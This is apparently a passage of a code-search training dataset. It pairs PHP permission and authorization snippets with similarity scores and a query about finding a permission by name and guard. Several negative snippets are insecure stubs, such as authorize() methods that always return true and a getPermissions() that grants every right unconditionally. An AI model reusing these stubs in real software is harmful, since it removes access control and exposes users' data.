{\n $user = $this->user();\n\n // Check if user is a mentor\n if ($user->type !== 'mentor') {\n throw new AuthorizationException('Sorry! Only mentors are allowed to create or update assignments');\n }\n\n // Validate mentorship id is numeric to avoid db exception on query\n if (!is_numeric($mentorship_id = $this->input('mentorship_id'))) {\n logger('Invalid input for mentorship_id supplied');\n throw new AuthorizationException('Invalid input supplied for mentorship_id');\n }\n\n // Check mentorship belongs to current mentor\n $mentorship = SolutionMentorship::query()->findOrNew($mentorship_id);\n\n if (! ($mentorship->mentor_id == $user->id)) {\n throw new AuthorizationException('Sorry! You can only create or update assignments on mentorships assigned to you');\n }\n\n return true;\n }", "public function authorize()\n {\n return auth()->user()->ability('admin', 'create_users');\n }", "public function permissions()\n {\n return $this->belongsToManyThrough(\n EloquentTestPermission::class,\n EloquentTestRole::class,\n 'role_users',\n 'user_id',\n 'role_id',\n 'permission_roles',\n 'role_id',\n 'permission_id'\n );\n }", "public function permissions(){\n return new manytomany_link($this, 'permission', 'staffpermissions');\n }", "public function hasAccess($permission);", "public function permissions()\n {\n return $this->belongsToMany(\n config('laravel-permission.models.permission'),\n config('laravel-permission.table_names.user_has_permissions')\n )->withTimestamps();\n }", "public function givePermission($permission);", "public function givePermission($permission);", "public function permission()\n {\n return $this->hasOne('App\\Models\\Permission', 'id', 'permission_fk');\n }", "public function can($permission, $requireAll = false);", "public function authorize()\n {\n return $this->permissionGuard()->allowsCreate($this->newModelInstance());\n }", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "abstract public function check($userId, $permission, array $data = []);", "public function authorize()\n {\n return $this->user()->can('update', \\App\\Models\\Member::withTrashed()->find($this->id));\n }", "private function checkRelationPermission(Authorizable $user, string $ability): ?bool\n {\n $input = collect($this->request->input());\n\n /*\n\n (child) model ------- relation ------> related (parent)\n <--- model_attribute --- related\n\n or\n model x relation = related\n model = related x attribute\n\n */\n\n if ($input->has(FormField::SINGLE_DATA_PARAM)) {\n $input = collect($input->get(FormField::SINGLE_DATA_PARAM));\n\n // model_attribute is the name of the related relation to the model that is being 'abilitied'\n if ($input->has('model_attribute')) {\n $attribute = $input->get('model_attribute');\n\n if (!$input->has('relation') || blank($input->get('relation'))) {\n throw new \\InvalidArgumentException(sprintf('Undefined [%s] param in request', 'relation'));\n }\n\n $model_class = $model_class ?? $this->controller->getModelType();\n $model = collect($this->request->route()->parameters())->first() ?? app($model_class);\n $relation_name = $input->get('relation');\n $relation = $model->{$relation_name}();\n $relation_permission_check_method = sprintf('check%sRelationPermission', Str::studly($relation_name));\n\n if (method_exists($this, $relation_permission_check_method)) {\n $this->log(sprintf('Delegating permission checking request relation to [%s()]', $relation_permission_check_method));\n\n return $this->$relation_permission_check_method($user, $ability);\n } elseif ($relation instanceof MorphTo) {\n if ($type = $model->resolvePolymorphType($input->only([\n $relation->getMorphType(),\n $relation->getForeignKeyName(),\n ]))) {\n $related = $model->exists ? $model->$relation_name : app($type);\n } else {\n $this->log(sprintf('Checking request relation: [%s] <--- %s - %s ---> [%s]: -', $model_class, $relation_name, $attribute, get_class($relation->getRelated())));\n\n return false;\n }\n } elseif ($relation instanceof MorphToMany) {\n dd(__METHOD__, 'TODO');\n } elseif ($relation instanceof BelongsTo) {\n $related = $model->exists ? $model->$relation_name : $relation->getRelated();\n } else {\n return true; // @todo hotfixed\n throw new \\RuntimeException(sprintf(\n 'Unsupported relation type [%s] for [%s->%s()]',\n get_class($relation),\n $model_class,\n $input->get('relation'),\n ));\n }\n\n $this->log(sprintf('>> Checking relation identified from request: [%s] <--- %s - %s ---> [%s]', $model_class, $relation_name, $attribute, get_class($relation->getRelated())));\n\n $allowed = !is_null($related) && $this->checkAttributePermissions($user, $ability, $related, $attribute);\n\n $this->log(sprintf('<< Relation %s - %s: %s', $relation_name, $attribute, ($allowed ? '✅' : '❌')));\n\n return $allowed;\n }\n }\n\n return null;\n }", "public function users()\r\n {\r\n return $this->belongsToMany(config('bootstrap-menu.models.user'), config('bootstrap-menu.relations.permission_user'))->withTimestamps();\r\n }", "function isAuthorized($type = null, $object = null, $user = null)\n {\n $valid = parent::isAuthorized($type, $object, $user);\n \n if(!$valid && $type == 'actions' && $this->user($this->parentModel))\n {\n // get the groups from the Session, and set the proper Aro path\n $otherRoles = $this->user($this->parentModel);\n $valid = $this->Acl->check(array($this->parentModel => array('id' => $otherRoles)), $this->action()); \n\t\t} \n return $valid;\n }", "public function permissions()\n {\n return $this->belongsToMany(\n config('admin.permission.models.permission'),\n config('admin.permission.table_names.role_has_permissions')\n );\n }", "public function can($permissions);", "public function permissions()\n {\n $model = config('authorization.permission');\n\n return $this->belongsToMany($model);\n }", "public function permissions()\n {\n return $this->belongsToMany(Permission::class)->withPivot('has_access');\n }", "public function authorize()\n {\n return $this->user()->memberOfTenant(tenant());\n }", "private function userHasAccess()\n {\n $required_perm = $this->route['perm'];\n $user_group = $_SESSION['user_group'];\n if ($required_perm == 'all') {\n return true;\n } elseif ($user_group == $required_perm) {\n return true;\n }\n return false;\n }", "public function canGrantAnyPermissions(...$permission)\n {\n }", "public function givePermission($permissions);", "abstract protected function isGranted($attribute, $object, $user = null);", "public function permissions(){\n return $this->belongsToMany(Permission::class);\n }", "public function authorize()\n {\n return $this->user()->can('create', MarEntry::class);\n }", "private function authorizeAdmins() {\n\n $authorizedRoleIds = Configure::read('acl.role.access_plugin_role_ids');\n $authorizedUserIds = Configure::read('acl.role.access_plugin_user_ids');\n\n $modelRoleFk = $this->_getRoleForeignKeyName();\n\n if (in_array($this->Auth->user($modelRoleFk), $authorizedRoleIds) || in_array(\n $this->Auth->user($this->getUserPrimaryKeyName()),\n $authorizedUserIds)) {\n // Allow all actions. CakePHP 2.0\n $this->Auth->allow('*');\n\n // Allow all actions. CakePHP 2.1\n $this->Auth->allow();\n }\n }", "public function perms()\n {\n return $this->belongsToMany(Config::get('entrust-branch.permission'), Config::get('entrust-branch.permission_role_table'));\n }", "public function permissions(){ return new manytomany_link($this, 'permission', 'rolepermissions');\n }", "private function registerPermissions(): void\n {\n Gate::before(static function (Authorizable $user, string $ability) {\n if (method_exists($user, 'checkPermissionTo')) {\n return $user->checkPermissionTo($ability) ?: NULL;\n }\n });\n }", "public function isAuthorized($user){\n /*\n * \n 1 \tAdmin\n 2 \tOfficer / Manager\n 3 \tRead Only\n 4 \tStaff\n 5 \tUser / Operator\n 6 \tStudent\n 7 \tLimited\n */\n \n //managers can add / edit\n if (in_array($this->request->action, ['delete','add','edit','reorder'])) {\n if ($user['group_id'] <= 4) {\n return true;\n }\n }\n \n \n //Admins have all\n return parent::isAuthorized($user);\n }", "public function assignPermissions(Request $request)\n {\n $request->validate([\n 'role_id' => 'required',\n 'permissionIds' => 'required'\n ]);\n\n $role = Role::find($request->role_id);\n $role->givePermission($request->permissionIds); \n }", "public function authorize()\n {\n $member = auth()->user()->member;\n return auth()->user()->can('pdg', $member) || auth()->user()->can('manager', $member);\n }", "public function authorize()\n {\n return auth()->user()->can('manage-users');\n }", "public function permissions()\n {\n return $this->belongsToMany('Bican\\Roles\\Permission');\n }", "public function authorize() : bool\n {\n return auth()->user()->can('create', GroupSetting::class);\n }", "public function index()\n {\n\n /*\n Policies Authorization\n */\n\n /*\n Spatie/permissions\n @todo: Main table associated to roles and permissions is \"Profile\", the @can() directive needs to be updated.\n\n */\n // dd(auth()->user()->name);\n // dd(auth()->user()->getAllPermissions()); // returns empty\n // dd(auth()->user()->profile->getAllPermissions()); // returns collection with permissions\n\n /*\n If there is not user logged in an Exception is created.\n - Authentication should be validated first, via Route middleware or at __Construct section.\n - The profile is created only via:\n User / Edit\n User Validation and Authorization.\n - After the authentication control is implemented, it should work without the if-then-else:\n $profilePermissions = auth()->user()->profile->getAllPermissions()->pluck('name'); \n\n */\n // if ( ! is_null(auth()->user())) {\n if ( auth()->check() && ( ! is_null(auth()->user()->profile )) ) {\n try {\n $profilePermissions = auth()->user()->profile->getAllPermissions()->pluck('name'); \n } catch ( Exception $ex) {\n echo $ex->getMessage();\n } \n } else {\n $profilePermissions = collect([]);\n }\n\n\n // Master Model - Main Table\n $master_model = 'users';\n\n // $roles = Role::orderby('id', 'desc')->get();\n\n /*\n Record Access Control\n - Read [ All | Owner | Group | Other]\n\n [A]-ll records can be viewed\n */\n $users = User::orderby('id', 'desc')->get();\n /*\n [O]-wner Only records created_by can be viewed.\n To implement this control, Auth implementation is required first, to identify the User credentials.\n The rights assignation control required an additional implementation.\n\n auth()->id() // returns the id of the logged user\n auth()->user() // returns the logged user\n auth()->check() // checks if someone is logged in\n auth()->guest() // checks if guest\n\n @todo: Spatie\\Permissions does not have created_by in the record implemented.\n add the field and the index in the migration: $table->foreign('created_by')->references('id')->on('users');\n\n */\n // $users = User::where('id',auth()->id())->orderby('id', 'desc')->get();\n\n\n return view('access.users.index',compact('users','master_model','profilePermissions'));\n }", "public function users()\n {\n return $this->belongsToMany(Config::get('guardian.user'), Config::get('guardian.role_user_table'), Config::get('guardian.role_foreign_key'), Config::get('guardian.user_foreign_key'));\n }", "public function permissions()\n {\n \t// belongsTo(RelatedModel, foreignKey = _id, keyOnRelatedModel = id)\n \treturn $this->belongsToMany('App\\Permission','permission_role','role_id','permission_id')->withTimestamps();\n }", "public function isAuthorized($user) {\n if (isset($user['role']) && $this->action == 'index') {\n return true;\n }\n \n // The owner of a whatever can view, edit and delete it\n $userAssignedId = $this->{$this->modelClass}->findById($this->request->params['pass'][0])['Branch']['user_id'];\n\n if( $user['id'] == $userAssignedId ){\n return true;\n }\n // Default deny\n return parent::isAuthorized($user); \n }", "public function authorize()\n {\n $user = $this->user();\n return $user->can('add-user');\n }", "public function authorize()\n {\n /*\n if ($this->loan_id && is_numeric($this->loan_id) && $loan = Loan::whereId($this->loan_id)->first()) {\n // loan_id belongs to requesting user\n return $loan && $this->user()->id == $loan->user_id;\n }\n */\n return true; // let rules handle it\n }", "function is_user_allowed($user, $permission){\n\n \tif($permission == PERMISSION_LOGIN){\n \t\tif($user->is_surveyor == TRUE\n \t\t\t\t&& $user->is_supervisor == FALSE\n \t\t\t\t&& $user->is_manager == FALSE\n \t\t\t\t&& $user->is_general_manager == FALSE\n \t\t\t\t&& $user->is_admin == FALSE){\n \t\t\treturn FALSE;\n \t\t}\n \t}else if($permission == PERMISSION_ADD_SURVEYOR\n \t\t\t|| $permission == PERMISSION_EDIT_SURVEYOR\n \t\t\t|| $permission == PERMISSION_DELETE_SURVEYOR\n \t\t\t|| $permission == PERMISSION_DETAIL_SURVEYOR){\n \t\treturn $user->is_admin;\n \t}\n\n \treturn TRUE;\n }", "public function shouldAttachAllPermissionsToAdminRole()\n {\n Permission::insert([\n ['name' => 'books.read', 'guard_name' => ''],\n ['name' => 'books.create', 'guard_name' => ''],\n ['name' => 'books.delete', 'guard_name' => ''],\n ]);\n\n $this->assertEmpty(Role::first()->permissions);\n\n $this->artisan('authorization:refresh-admin-permissions')->assertExitCode(0);\n\n $this->assertCount(3, Role::first()->permissions);\n }", "public static function getPermissions($user = null) {\n\n//\t\tif(App::runningInConsole()) {\n\t\t\treturn array('read' => true, 'update' => true, 'create' => true, 'delete' => true, 'identifiable' => true);\n\t//\t}\n\t\t$permissions = array('read' => false, 'update' => false, 'create' => false, 'delete' => false, 'identifiable' => false);\n\t\t$class = get_called_class();\n\n\t\tif($user === null) {\n\t\t\t$user = Auth::user();\n\t\t}\n\t\tif($user && Auth::check() && isset($user['attributes']['id'])) {\n\n\t\t\t//stupid work around from Chrismodel::__get overriden can't use any model accessors, etc\n\t\t\t$groups = DB::table('user_groups')->where('user_id','=',$user['attributes']['id'])->get();\n\t\t\t$group_ids = array();\n\t\t\tforeach($groups as $group) {\n\t\t\t\t$group_ids[] = $group->group_id;\n\t\t\t}\n\t\t\t\n\t\t\t$match = 0;\n\t\t\tforeach($group_ids as $group_id) {\n\t\t\t\t$mperms = DB::table('group_model_permissions')->where('group_id','=',$group_id)->get();\n\t\t\t\tforeach($mperms as $perm) {\n\t\t\t\t\t// This allows for * to be use as a wildcard if there is no entry.\n\t\t\t\t\tif($perm->model_name == '*'){\n\t\t\t\t\t\t$permissions['read'] = $perm->read == '1' ? true : false;\n\t\t\t\t\t\t$permissions['create'] = $perm->create == '1'? true : false;\n\t\t\t\t\t\t$permissions['update'] = $perm->update == '1'? true : false;\n\t\t\t\t\t\t$permissions['delete'] = $perm->delete == '1'? true : false;\n\t\t\t\t\t\t$permissions['identifiable'] = $perm->identifiable == '1'? true : false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(($perm->model_name == $class) && ($perm->model_name != null) && ($perm->model_name != '*')) {\n\t\t\t\t\t\t$permissions['read'] = $perm->read == '1' ? true : false;\n\t\t\t\t\t\t$permissions['create'] = $perm->create == '1'? true : false;\n\t\t\t\t\t\t$permissions['update'] = $perm->update == '1'? true : false;\n\t\t\t\t\t\t$permissions['delete'] = $perm->delete == '1'? true : false;\n\t\t\t\t\t\t$permissions['identifiable'] = $perm->identifiable == '1'? true : false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $permissions;\n\t}", "public function GetPermissionToSeeAssignments () {\n \treturn \n \t(\n \t\t$this->user_type == $this->user_types[0]\n \t\t|| $this->user_type == $this->user_types[1]\n\t\t\t|| $this->user_type == $this->user_types[2]\n\t\t);\n }", "public function permissions(): BelongsToMany\n {\n return $this->belongsToMany(\n HCAclPermission::class,\n 'hc_acl_role_permission_connection',\n 'role_id',\n 'permission_id'\n );\n }", "public static function check_permission(\n\t\t$fromModel, $toModel, $typeCodes, $member = null, $checkObjectInstances = true\n\t) {\n\t\t// sometimes we only have the model class name to go on, get a singleton to make things easier\n\t\t$toModel = ($toModel instanceof DataObject) ? $toModel : singleton($toModel);\n\n\t\t// check if owner is a member of ADMIN, social-admin or can administer the type in general.\n\t\tif (static::check_admin_permissions($fromModel, $toModel, $member)) {\n\t\t\treturn true;\n\t\t}\n\t\t$permissionOK = false;\n\n\t\t$actions = static::get_heirarchy($fromModel, $toModel, $typeCodes);\n\n\t\t// get the ids of permissions for the allowed relationships (and Codes to help debugging)\n\t\tif ($permissionIDs = $actions->map('PermissionID', self::code_field_name())->toArray()) {\n\n\t\t\t// get the codes for those permissions using keys from map\n\t\t\tif ($permissions = \\Permission::get()->filter('ID', array_keys($permissionIDs))) {\n\t\t\t\t$permissionCodes = $permissions->column(self::code_field_name());\n\n\t\t\t\t// check the codes against the member/other object (which may be guest member)\n\t\t\t\t// this is a 'general' permission such as 'CAN_Edit_Member' or 'CAN_Like_Post'\n\t\t\t\t$permissionOK = \\Permission::check(\n\t\t\t\t\t$permissionCodes,\n\t\t\t\t\t\"any\",\n\t\t\t\t\t$fromModel\n\t\t\t\t);\n\n\t\t\t\t// now we get more specific; if we were handed a model object it should have an ID so also check that\n\t\t\t\t// instance rules are met, such as a previous relationship existing (if just a class was passed to function\n\t\t\t\t// then we have a singleton and we can't check these requirements).\n\t\t\t\t// This check uses the SocialEdgeType.RequirePrevious relationship on the current SocialEdgeType\n\n\t\t\t\tif ($permissionOK && $toModel->ID && $checkObjectInstances) {\n\n\t\t\t\t\t$typeCodes = $actions->column(self::code_field_name());\n\n\t\t\t\t\t$permissionOK = static::check_rules(\n\t\t\t\t\t\t$fromModel,\n\t\t\t\t\t\t$toModel,\n\t\t\t\t\t\t$typeCodes\n\t\t\t\t\t);\n\n\t\t\t\t\tif (!$permissionOK) {\n\t\t\t\t\t\t$permissionOK = static::check_implied_rules(\n\t\t\t\t\t\t\t$fromModel,\n\t\t\t\t\t\t\t$toModel,\n\t\t\t\t\t\t\t$typeCodes\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ($permissionOK) {\n\t\t\t\t\t// now we ask the models to check themselves, e.g. if they require a field to be set outside of the permissions\n\t\t\t\t\t// SocialEdgeType model, such as a Member requiring to be Confirmed then the Confirmable extension will\n\t\t\t\t\t// intercept this and check the 'RegistrationConfirmed' field\n\t\t\t\t\tif ($modelCheck = $toModel->extend('checkPermissions', $fromModel, $toModel, $typeCodes)) {\n\t\t\t\t\t\t$permissionOK = count(array_filter($modelCheck)) != 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $permissionOK;\n\t}", "public function authorize()\n {\n return auth()->user()->can('create', Task::class);\n }", "public function getPer()\n {\n return $this->hasOne(Permissions::className(), ['id' => 'per_id']);\n }", "public function permissions() {\n return $this->belongsToMany(Permission::class);\n }", "public function permissions()\n {\n return $this->hasMany(Permission::class);\n }", "public function isGranted(UserInterface $user, $attribute, $object);", "public function hasPermission($id);", "public function hasPermission($id);", "public function run()\n {\n App\\Role::find(1)->attachPermission(1);\n App\\Role::find(1)->attachPermission(2);\n App\\Role::find(1)->attachPermission(3);\n }", "public function authorize()\n {\n $this->model = $this->route('user');\n\n if ($this->isEdit() && !is_null($this->model)) {\n if (!user()->hasPermissionTo('Administrations::admin.user') && $this->model->id != user()->id) {\n return false;\n }\n }\n\n $this->model = is_null($this->model) ? User::class : $this->model;\n\n return $this->isAuthorized();\n }", "public function canManageUsers()\n {\n return true;\n }", "public function authorize() {\n\t\t$this->competitor = $this->route('competitor');\n\t\treturn $this->user()->can('update', $this->competitor);\n\t}", "public function authorize()\n {\n return true;//auth()->user()->can(['crear movdinero']);\n }", "public function authorize()\n {\n // all who has permission\n return true;\n }", "public function authorize()\n {\n if ( ! $this->getRelease()->belongsToYou()) {\n return false;\n }\n return true;\n }", "public function has(ObjectIdentityInterface $object, Permission $permission);", "public function authorize()\n {\n $user = auth()->user()->first();\n $department = Department::findOrFail($this->input('department_id'));\n $semester_type = SemesterType::findOrFail($this->input('semester_type_id'));\n $level = Level::findOrFail($this->input('level_id'));\n return (\n $user->can('view', $department) && \n $user->can('view', $level) &&\n $user->can('view', $semester_type)\n ) &&\n (\n $user->hasRole(Role::ADMIN) || \n ($user->id == $department->hod->first()->user()->first()->id) || // department hod\n ($user->staff()->where('id', $department->faculty()->first()->dean()->first()->id)->exists()) || // faculty dean\n ($user->id == $department->faculty()->first()->school()->first()->owner_id) // school owner\n );\n }", "public function permissions()\n {\n return $this->belongsToMany(config('rbac.models.permission'))->withTimestamps()->withPivot('granted');\n }", "public function permissions()\n {\n return $this->belongsToMany(EloquentTestPermission::class, 'permission_roles', 'role_id', 'permission_id');\n }", "public function allowed(User $user, $entity = null);", "function canAdd($user, $to_company) {\n return $user->isAdministrator() || $user->isPeopleManager() || $user->isCompanyManager($to_company);\n }", "public function user(): BelongsTo;", "public function run()\n {\n Permission::create([\n 'name' => 'company',\n 'guard_name' => 'web',\n ]);\n\n Permission::create([\n 'name' => 'customer',\n 'guard_name' => 'web',\n ]);\n }" ]
[ "0.6094891", "0.60365444", "0.59293073", "0.57987297", "0.5776163", "0.5762495", "0.57212466", "0.5684308", "0.5670699", "0.56591165", "0.5635554", "0.56182295", "0.56135947", "0.55902386", "0.5575573", "0.5572083", "0.5542536", "0.5524553", "0.548006", "0.548006", "0.548006", "0.548006", "0.54685915", "0.5425864", "0.54185045", "0.5408914", "0.54065543", "0.5405846", "0.5400213", "0.5397006", "0.53895557", "0.53895557", "0.538618", "0.53807664", "0.5365658", "0.5364276", "0.5364276", "0.5364276", "0.5364276", "0.5364276", "0.53599375", "0.535903", "0.5341902", "0.5339283", "0.5338437", "0.53367865", "0.5334676", "0.5329469", "0.53270924", "0.53266394", "0.5322032", "0.5318868", "0.5316727", "0.53036046", "0.53021824", "0.5300749", "0.52978003", "0.5290815", "0.52899104", "0.5284004", "0.52748066", "0.52747536", "0.52736664", "0.5272904", "0.52676916", "0.52668726", "0.52664316", "0.5264197", "0.5260365", "0.52574843", "0.52524686", "0.52463764", "0.5243973", "0.52376485", "0.5236511", "0.5235173", "0.5233993", "0.52339244", "0.52270144", "0.5225713", "0.5225537", "0.5217858", "0.52129215", "0.5212475", "0.5212475", "0.5211438", "0.52102315", "0.52060777", "0.5204435", "0.520303", "0.52021056", "0.519641", "0.51956874", "0.519356", "0.5192427", "0.5189306", "0.51826215", "0.51822346", "0.51753366", "0.5168669" ]
0.56777316
8
Find a permission by its name (and optionally guardName).
public static function findByName(string $name, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) { return $permission->name === $name && $permission->guard_name === $guardName; })->first(); if (! $permission) { throw PermissionDoesNotExist::create($name, $guardName); } return $permission; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function findPermission($permissionName);", "public function findByName(string $name)\n {\n return Permission::whereName($name)->first();\n }", "public static function findByName($name) {\n $permission = static::where('name', $name)->first();\n\n if (!$permission) {\n throw new PermissionDoesNotExist();\n }\n\n return $permission;\n }", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? config ('auth.defaults.guard');\n\n $permission = static::getPermissions()->where('name', $name)->where('guard_name', $guardName)->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public static function findById(int $id, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($id, $guardName) {\n return $permission->id === $id && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::withId($id, $guardName);\n }\n\n return $permission;\n }", "static function getPermission($name) {\n return static::getPermissions()->get($name);\n }", "public static function findOrCreate(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n return static::create(['name' => $name, 'guard_name' => $guardName]);\n }\n\n return $permission;\n }", "public static function findBySlug(string $slug, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($slug, $guardName) {\n return $permission->slug === $slug && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($slug, $guardName);\n }\n\n return $permission;\n }", "function permissionNameExists($permission) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id FROM permissions WHERE\n\tname = ?\",array($permission));\n\t$results = $query->results();\n}", "public static function get_permission_by_name($permission_name)\n {\n global $DB;\n $permission = $DB->get_record('permissions', ['name' => $permission_name]);\n return $permission;\n }", "public static function find($name);", "public static function find($name);", "public function permission($permission)\n {\n if (is_numeric($permission)) {\n return $this->permissionModel->find((int) $permission);\n }\n\n return $this->permissionModel->like('name', $permission, 'none', null, true)->first();\n }", "public function getPermission($permission);", "public function permissionExists($permissionName);", "public function getPermission($permission) {}", "public function getPermission($permission) {}", "static function getPermission(String $permission){\n $permissions = Permission::all();\n \n for($i = 0; $i < count($permissions); $i++){\n if($permissions[$i]->name === $permission)\n return $permissions[$i];\n }\n\n return false;\n }", "public function findByName($name);", "public function findByName($name);", "public function findByName($name);", "function permissionNameExists($permission) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tname = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $permission);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function findByName(String $name);", "public function HasPermission ($permissionName = NULL, $idPermission = NULL);", "public function findPermissionById($permissionId);", "public static function findByName($name)\n {\n foreach (self::findAll([\"name\" => $name]) as $map) {\n if (\\User::getUSER()) {\n foreach (\\User::getUSER()->getAuthGroups() as $group) {\n if ($group->id == $map->authgroupID)\n return $map;\n }\n } else\n return $map;\n }\n return null;\n }", "function find_route_by_name(string $name, string $module): ?array\n{\n foreach (Router::getRoutes() as $route) {\n if (isset($route['name']) &&\n strtolower($route['name']) == strtolower($name) &&\n strtolower($route['module']) == strtolower($module)) {\n \n return $route;\n }\n }\n\n return null;\n}", "public function find(int $id): Permission\n {\n return Permission::find($id);\n }", "public function find($id)\n {\n $query=\"SELECT permissionId,\".\n \"permissionName \". \t\t \n\t \"FROM permission \".\n\t \"WHERE permissionId=\".$id;\n\n return($this->selectDB($query, \"Permission\"));\n }", "function permissionNameExists($permission)\r\n{\r\n\tglobal $mysqli,$db_table_prefix;\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\t\tWHERE\r\n\t\tname = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t$num_returns = $stmt->num_rows;\r\n\t$stmt->close();\r\n\t\r\n\tif ($num_returns > 0)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\t\r\n\t}\r\n}", "public function hasPermission($name)\r\n {\r\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\r\n }", "public function findName($name)\n {\n return $this->model->where('name', $name)->first();\n }", "public function hasPermissionByName($name){\n\t\t\n\t\t$ok = false;\n\t\t\n\t\tforeach ($this->getPermissions() as $myPermission) {\n\t\t\t$ok = strtoupper($myPermission->getName()) == strtoupper($name);\n\t\t\tif( $ok )\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\treturn $ok;\n\t\t\n\t}", "private function getSettingByName($name)\n {\n $settings = $this->settingsManager->all();\n foreach ($settings as $setting) {\n /** @var Setting $setting */\n if ($setting->getName() == $name) {\n return $setting;\n }\n }\n throw new \\InvalidArgumentException('Setting not found in database.');\n }", "public static function can($permissionName, $params = []){\n\n\n }", "function getSystemPermission($name) {\n \t$role = $this->getRole();\n if(instance_of($role, 'Role')) {\n return (boolean) $role->getPermissionValue($name);\n } else {\n return false;\n } // if\n }", "function getPermissionInfo( $pPermission = NULL, $pPackageName = NULL ) {\n\t\t$ret = NULL;\n\t\t$bindVars = array();\n\t\t$sql = 'SELECT * FROM `'.BIT_DB_PREFIX.'users_permissions` ';\n\t\tif( !empty( $pPermission ) ) {\n\t\t\t$sql .= ' WHERE `perm_name`=? ';\n\t\t\tarray_push( $bindVars, $pPermission );\n\t\t} elseif( !empty( $pPackageName ) ) {\n\t\t\t$sql .= ' WHERE `package` = ? ';\n\t\t\tarray_push( $bindVars, substr($pPackageName,0,100));\n\t\t}\n\t\t$ret = $this->mDb->getAssoc( $sql, $bindVars );\n\t\treturn $ret;\n\t}", "private function getByNameInCache($name)\n {\n $modulesResult = $this->getModulesResult();\n foreach($modulesResult as $module)\n {\n if($name == $module['modulo'])\n {\n return $module;\n }\n }\n }", "public function hasPermission($name) {\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\n }", "function addPermission( $name ) {\n $d = loadDB();\n \n $found = false;\n $highestID = 0;\n foreach ($d['permissions'] as $perm) {\n if ($name == $perm['name']) {\n $found = true;\n }\n if ($perm['id'] > $highestID)\n $highestID = $perm['id'];\n }\n $highestID++;\n if (!$found) {\n array_push( $d['permissions'], array( \"name\" => $name, \"id\" => $highestID ) );\n saveDB( $d );\n audit( \"addPermission\", $name );\n } else {\n $highestID = -1; // indicate error\n }\n return $highestID;\n }", "public static function findByName($name)\n {\n return Role::where('name', $name)->firstOrFail();\n }", "function permissionNameExists($permission) // admin_permissions.php\r\n\r\n{\r\n\r\n\tglobal $mysqli,$db_table_prefix;\r\n\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\r\n\t\tWHERE\r\n\r\n\t\tname = ?\r\n\r\n\t\tLIMIT 1\");\r\n\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\r\n\t$stmt->execute();\r\n\r\n\t$stmt->store_result();\r\n\r\n\t$num_returns = $stmt->num_rows;\r\n\r\n\t$stmt->close();\r\n\r\n\t\r\n\r\n\tif ($num_returns > 0)\r\n\r\n\t{\r\n\r\n\t\treturn true;\r\n\r\n\t}\r\n\r\n\telse\r\n\r\n\t{\r\n\r\n\t\treturn false;\t\r\n\r\n\t}\r\n\r\n}", "public function getByName($roleName);", "public function get(string $name){\n foreach($this->routes as $route){\n\t\t\tif($route->matchName($name))\n\t\t\t\treturn $route;\n\t\t}\n\t\treturn null;\n }", "public static function getPermission($permission) {\n $params = self::getPermissionParts($permission);\n return static::where($params)->first();\n }", "private function retrieveForumPermissions($name,$log=false){\n \t$query = NewDao::getGenerator();\n \t\n \t$query->addSelect('permissions',array('id','name'));\n \t\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-admin'));\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-editor'));\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-user'));\n \t\n \t$perms = NewDao::getInstance()->queryArray($query->generate(),$log);\n \t\n \tforeach ($perms as $perm) {\n \t\tswitch ($perm['name']){\n \t\t\tcase $name . '-admin':\n \t\t\t\t$this->_admin_permission = $perm['id'];\n \t\t\tbreak;\n \t\t\tcase $name . '-editor':\n \t\t\t\t$this->_editor_permission = $perm['id'];\n \t\t\tbreak;\n \t\t\tcase $name . '-user':\n \t\t\t\t$this->_user_permission = $perm['id'];\n \t\t\tbreak;\n \t\t}\n \t}\n }", "public function get_by_name(string $name)\n {\n if(!empty($name)){\n $result = $this->where('name', $name)->first();\n // $result = $this->builder->where('name', $name)->get(1);\n if($result){\n return $result;\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "public function 